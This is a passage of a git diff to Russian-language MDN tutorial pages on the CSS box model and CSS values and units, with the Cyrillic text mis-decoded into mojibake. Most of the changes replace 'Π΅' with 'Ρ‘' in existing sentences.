<p><strong>Если Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ значСния padding Π² классС <code>.box</code>Β Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ это измСняСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ тСкста ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ поля.</strong></p>
-<p><strong>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ padding Π² классС <code>.container,</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт пространство ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ ΠΈ боксом. Padding ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ для любого элСмСнта,Β ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ этой ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта.</strong></p>
+<p><strong>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ padding Π² классС <code>.container,</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт пространство ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ ΠΈ боксом. Padding ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ для любого элСмСнта,Β ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ этой ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта.</strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}}Β </p>
@@ -290,7 +290,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<p>Всё, сказанноС Ρ€Π°Π½Π΅Π΅, ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠΎ ΠΊ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌ элСмСнтам. НСкоторыС ΠΈΠ· свойств ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΈ ΠΊ строчным (inline) элСмСнтам, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт, создаваСмый с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>&lt;span&gt;</code>.</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ &lt;span&gt; Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π°, ΠΈ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΊ Π½Π΅ΠΌΡƒ </span></span><code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>Β ΠΈ <code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</span> <span title="">Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ поля, отступы ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ содСрТимого ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ строчному элСмСнту, ΠΈ поэтому отступ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π° ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ слова Π² Π°Π±Π·Π°Ρ†Π΅.</span> <span title="">Π“ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ отступы, поля ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ ΠΈ заставят Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒΡΡ ΠΎΡ‚ нашСго элСмСнта.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ &lt;span&gt; Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π°, ΠΈ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΊ Π½Π΅ΠΌΡƒ </span></span><code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>Β ΠΈ <code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</span> <span title="">Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ поля, отступы ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ содСрТимого ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ строчному элСмСнту, ΠΈ поэтому отступ ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Π° ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ слова Π² Π°Π±Π·Π°Ρ†Π΅.</span> <span title="">Π“ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ отступы, поля ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ΡΡ ΠΈ заставят Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒΡΡ ΠΎΡ‚ нашСго элСмСнта.</span></span></p>
<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}}Β </p>
@@ -313,7 +313,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ссылку с большой ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ попадания, Π΄ΠΎΠ±Π°Π²ΠΈΠ² </span></span><code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> </span><code>&lt;a&gt;</code><span class="tlid-translation translation" lang="ru"><span title=""> - это строчный элСмСнт, Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΊΠ°ΠΊ <code>&lt;span&gt;</code>;</span> <span title="">Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>display: inline-block</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ установку отступов, Ρ‡Ρ‚ΠΎ упростит ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΏΠΎ ссылкС.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ довольно часто Π²ΠΈΠ΄ΠΈΡ‚Π΅ это Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span> <span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ навигация отобраТаСтся Π² Π²ΠΈΠ΄Π΅ строки с использованиСм flexbox, ΠΈ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ отступы ΠΊ элСмСнту <code>&lt;a&gt;</code>, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ измСнялся </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора Π½Π° <code>&lt;a&gt;</code>.</span> <span title="">ΠžΡ‚ΡΡ‚ΡƒΠΏΡ‹ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ элСмСнта <code>&lt;ul&gt;</code>.</span> <span title="">Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ <code>&lt;a&gt;</code> являСтся строчным элСмСнтом.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ довольно часто Π²ΠΈΠ΄ΠΈΡ‚Π΅ это Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span> <span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ навигация отобраТаСтся Π² Π²ΠΈΠ΄Π΅ строки с использованиСм flexbox, ΠΈ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ отступы ΠΊ элСмСнту <code>&lt;a&gt;</code>, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ измСнялся </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора Π½Π° <code>&lt;a&gt;</code>.</span> <span title="">ΠžΡ‚ΡΡ‚ΡƒΠΏΡ‹ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ элСмСнта <code>&lt;ul&gt;</code>.</span> <span title="">Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ <code>&lt;a&gt;</code> являСтся строчным элСмСнтом.</span></span></p>
<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ <code>display: inline-block</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСлСктора <code>.links-list a</code>, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, заставляя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ отступы.</span></span></strong></p>
diff --git a/files/ru/learn/css/building_blocks/values_and_units/index.html b/files/ru/learn/css/building_blocks/values_and_units/index.html
index d64426b99e..2e32d47268 100644
--- a/files/ru/learn/css/building_blocks/values_and_units/index.html
+++ b/files/ru/learn/css/building_blocks/values_and_units/index.html
@@ -22,7 +22,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅_CSS">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ CSS?</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ спСцификациях CSS ΠΈ Π½Π° страницах свойств здСсь Π² MDN Π²Ρ‹ смоТСтС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ (ΡƒΠ·Π½Π°Π²Π°Ρ‚ΡŒ) значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β </span></span><code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code><a href="/en-US/docs/Web/CSS/length">. </a>Если Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;color&gt;</code> ΠΊΠ°ΠΊ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ свойства это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для этого свойства, ΠΊΠ°ΠΊ пСрСчислСно Π½Π° страницС <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code><a href="/en-US/docs/Web/CSS/color_value">.</a></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ спСцификациях CSS ΠΈ Π½Π° страницах свойств здСсь Π² MDN Π²Ρ‹ смоТСтС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ (ΡƒΠ·Π½Π°Π²Π°Ρ‚ΡŒ) значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β </span></span><code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code><a href="/en-US/docs/Web/CSS/length">. </a>Если Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;color&gt;</code> ΠΊΠ°ΠΊ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ свойства это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для этого свойства, ΠΊΠ°ΠΊ пСрСчислСно Π½Π° страницС <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code><a href="/en-US/docs/Web/CSS/color_value">.</a></p>
<div class="blockIndicator note">
<p><strong>Note</strong>: You'll also see CSS values referred to as <em>data types</em>. The terms are basically interchangeable β€” when you see something in CSS referred to as a data type, it is really just a fancy way of saying value.</p>
@@ -40,7 +40,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
} </code>
</pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² CSS это ΠΏΡƒΡ‚ΡŒ опрСдСлСния ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ допустимых ΠΏΠΎΠ΄-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π’ΠΎ Π΅ΡΡ‚ΡŒ Ссли Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅Β <code>&lt;color&gt;</code> ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ, Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΎΠ·Π°Π΄Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² значСния Ρ†Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован β€” ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, hex Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, функция <code>rgb()</code> ΠΈ Ρ‚.Π΄. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <em>Π»ΡŽΠ±Ρ‹ΠΌ </em>доступным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>&lt;color&gt;</code> ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ вашим Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ для всСх Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π½Π° MDN Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². НапримСр, Ссли Π²Ρ‹ посмотритС Π½Π° страницу <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π» совмСстимости Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСчислСны Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ†Π²Π΅Ρ‚Π° ΠΈ ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² CSS это ΠΏΡƒΡ‚ΡŒ опрСдСлСния ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ допустимых ΠΏΠΎΠ΄-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π’ΠΎ Π΅ΡΡ‚ΡŒ Ссли Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅Β <code>&lt;color&gt;</code> ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ, Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΎΠ·Π°Π΄Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² значСния Ρ†Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован β€” ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, hex Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, функция <code>rgb()</code> ΠΈ Ρ‚.Π΄. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <em>Π»ΡŽΠ±Ρ‹ΠΌ </em>доступным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>&lt;color&gt;</code> ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ вашим Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ для всСх Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π½Π° MDN Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². НапримСр, Ссли Π²Ρ‹ посмотритС Π½Π° страницу <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> Ρ‚ΠΎ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π» совмСстимости Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСчислСны Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ†Π²Π΅Ρ‚Π° ΠΈ ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ† с ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ часто ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
@@ -69,13 +69,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<tr>
<td><code>&lt;dimension&gt;</code></td>
<td>
- <p><code>&lt;dimension&gt;</code> (ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅) это — <code>&lt;number&gt;</code> (число) с Π΅Π΄ΠΈΠ½ΠΈΡ†Π΅ΠΉ измСрСния, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΠΎΠΉ ΠΊ Π½Π΅ΠΌΡƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>45deg</code>, <code>5s</code>, ΠΈΠ»ΠΈ <code>10px</code>. <code>&lt;dimension&gt;</code> β€” это Π·ΠΎΠ½Ρ‚ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… Π² сСбя Ρ‚ΠΈΠΏΡ‹ <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/angle">&lt;angle&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/time">&lt;time&gt;</a></code>, ΠΈ <code><a href="/en-US/docs/Web/CSS/resolution">&lt;resolution&gt;</a></code><a href="/en-US/docs/Web/CSS/resolution"> </a>(Π΄Π»ΠΈΠ½Π°, ΡƒΠ³ΠΎΠ», врСмя ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅)<a href="/en-US/docs/Web/CSS/resolution">. </a></p>
